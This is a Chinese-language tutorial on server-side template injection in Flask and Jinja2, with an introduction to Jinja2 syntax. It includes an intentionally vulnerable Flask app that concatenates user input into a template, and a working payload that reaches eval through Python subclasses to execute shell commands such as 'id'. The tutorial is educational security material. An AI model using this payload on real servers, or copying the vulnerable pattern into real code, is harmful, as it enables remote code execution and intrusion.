简介
模板注入漏洞的英文全称为Sever Side Template Injection,服务端模板注入. 该漏洞是服务端接收了用户的输入,将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,通常情况下会造成敏感信息泄露、代码执行、GetShell的危害. 其影响范围主要取决于模板引擎的复杂性.常见的模板引擎如下:
通常测试模块类型的方式入下:
为什么会使用到模板
MTV(Model Template View)的开发模式经常会用到模板(Template).
模型(Model)用来对数据进行操作,视图(view)用来处理业务逻辑
模板(Template)负责将页面展示给用户
核心:前后端分离, 方便开发/移植
MTV图解
Django Web框架
SSTI初体验
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
# 从请求参数中获取名为"name"的值,如果不存在则默认为"guest"
name = request.args.get("name", "guest")
# 初始化模板,将获取到的姓名或默认姓名插入到模板中
t = Template("Hello " + name)
# 渲染模板并返回
return t.render()
if __name__ == "__main__":
app.run(debug=True)
这时候我们输入一个payload试一下效果
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
因为在windows上测试,我们可以改一下指令,比如dir
SSTI基础
jinjia2模板语法
简介
jinjia2是一个现代的,设计者有好的,仿照Django模板的Python模板语言. 它速度快,被广泛使用,并且提供了可选的沙箱的模板执行环境保证安全.
Flask中就使用了jinjia2来进行模板相关的操作.
学习理由
Jinjia2应用较广(比如说Flask和saltstack都采用jinjia2), 而且语法跟大多数模板语言语法相似/相同(例如Django), 具有通用性.
1. 变量表示
{{test}} test为变量
{{7 * 7}} 会计算出结果,但是当计算符号为+-时,需要进行url编码,否则会被认定为空格
2. for循环
{% for a in b %}
dosomething
{% endfor %}
特别像python的for循环
3. if判断
{% if true %}
dosomething
{% elif false %}
dosomething
{% else %}
dosomething
{% endif %}
这些也是类似if语句